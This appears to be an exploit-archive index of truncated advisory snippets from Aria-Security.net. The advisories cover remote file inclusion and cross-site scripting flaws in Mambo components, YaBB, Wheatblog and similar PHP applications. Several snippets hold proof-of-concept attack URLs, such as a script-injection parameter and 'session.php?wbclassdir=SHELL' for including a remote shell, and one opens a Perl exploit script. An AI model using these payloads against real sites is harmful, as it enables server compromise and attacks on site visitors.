yabbXSScat.txt

Aria-Security.net Advisory Discovered by: OUTLAW Gr33t to: A.u.r.a & C0d3r & l2odon & R@1D3N @ DrtRp & Software: YaBB Attack method: Cross Site Scripting Proof of Concept: index.php?action=faqmy&myfaq=yes&idcat=1&categories=alert"xss" ----------------------------------------------------------...

opensef.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: OpenSEF Attack method: Remote File Inclusion Description : OpenSEF is a Joomla component that extends the built-in SEF Search Engine Friendly Source: requireonce $mosConfigabsolutepath...

discloser.txt

!/usr/bin/perl Aria-Security.net Advisory Discovered by: Dr.t3rr0r1st Gr33t to:Outlaw & A.u.r.a & HessamX & Cl0wn & DrtRp Special Thanx To All Aria-Security Users use LWP::UserAgent; print "\n === discloser 0.0.4 Remote File Inclusion\n"; print "\n === Discovered by OutLaw .\n"; print "\n ===...

mosbot.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - Display MOSBot Manager Attack method: Remote File Inclusion Source: includeonce "".$mosConfigabsolutepath."/administrator/components/". $componentdirectory ."/toolbar."...

akoinclude.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Ako Comments mod Attack method: Remote File Inclusion Source: Description: This module shows users' comments from component AkoComments. File Version: 1.1 for Mambo 4.5...

mtg_myhomepage.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: mtgmyhomepage Component For Mambo 4.5 Vendor : http://www.kamgaing.com/ Attack method: Remote File Inclusion Source: if fileexists...

contxtd.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Components ContXTD Attack method: Remote File Inclusion Source: ensure this file is being included by a parent file / defined 'VALIDMOS' or die 'Direct Access to this location is not...

Mambo CatalogShop Remote File Inclusion

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo CatalogShop Attack method: Remote File Inclusion Descriptio : This is a modified version of the FacileForms mambot, which allows you to add and view user commen...

Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - Display MOSBot Manager Attack method: Remote File Inclusion Source: includeonce "".$mosConfigabsolutepath."/administrator/components/"...

Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Components ContXTD Attack method: Remote File Inclusion Source: ensure this file is being included by a parent file / defined 'VALIDMOS' or die 'Direct Access t...

mambo-phphop Product Scroller Module R.F.I

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: mambo-phphop Product Scroller Module Attack method: Remote File Inclusion Source: / Load the phpshop main parse code / requireonce...

mtg_myhomepage Component For Mambo R.F.I

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: mtgmyhomepage Component For Mambo 4.5 Vendor : http://www.kamgaing.com/ Attack method: Remote File Inclusion Source: if fileexists...

ToendaCMS <= 1.0.3 -(tcms_administer_site) Remote File Include

Iranians Are The Bests ToendaCMS = 1.0.3 -tcmsadministersite Remote File Include Descriptions Script.............. : ToendaCMS Discovered By.... : YouYou Risk : High Class.............. : Remote Special Thanx To All Aria-Security's Administrators...

Mambo Component - EstateAgent Remote File Inclusion

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - EstateAgent Attack method: Source: Don't allow direct linking defined 'VALIDMOS' or die 'Direct Access to this location is not allowed.' ; requireon...

Fusionphp Fusion News 3.7 - index.php Remote File Inclusion

Fusionphp Fusion News 3.7 - index.php Remote File Inclusion source: https://www.securityfocus.com/bid/19546/info Fusion News is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote...

wheatblog ُSession.php Remote File Inclusion

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll ?php includeonce"$wbclassdir/classDatabase.php"; function StartSession global $sessiondir; if $sessiondir != '' sessionsavepath$sessiondir; if ! isset$SESSION sessionstart; //...

Yabb XSS

Aria-Security.net Advisory Discovered by: OUTLAW www.Aria-security.net Gr33t to: A.u.r.a & C0d3r & l2odon & R@1D3N @ DrtRp & Software: YaBB Attack method: Cross Site Scripting Proof of Concept: index.php?action=faqmy&myfaq=yes&idcat=1&categories=scriptalert"xss "/script...

Wheatblog 1.1 - session.php Remote File Inclusion

Wheatblog 1.1 - session.php Remote File Inclusion Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll db != 'resource' touchDatabaseSession; Proof of Concept: server/includes/session.php?wbclassdir=SHELL Contact : [email protected] milw0rm.com...

Mafia Moblog <= 6 (pathtotemplate) Remote File Inclusion Vulnerability

------------------------------------------------------------------------ ------------------- Mafia Moblog pathtotemplate Remote File Inclusion ------------------------------------------------------------------------ ------------------- Author : Sh3ll Date : 2006/04/30 HomePage : http://www.sh3ll....

Wheatblog <= 1.1 (session.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================ Wheatblog db != 'resource' touchDatabaseSession; Proof of Concept: www.site.com/includes/session.php?wbclassdir=SHELL 0day.today 2018-04-04...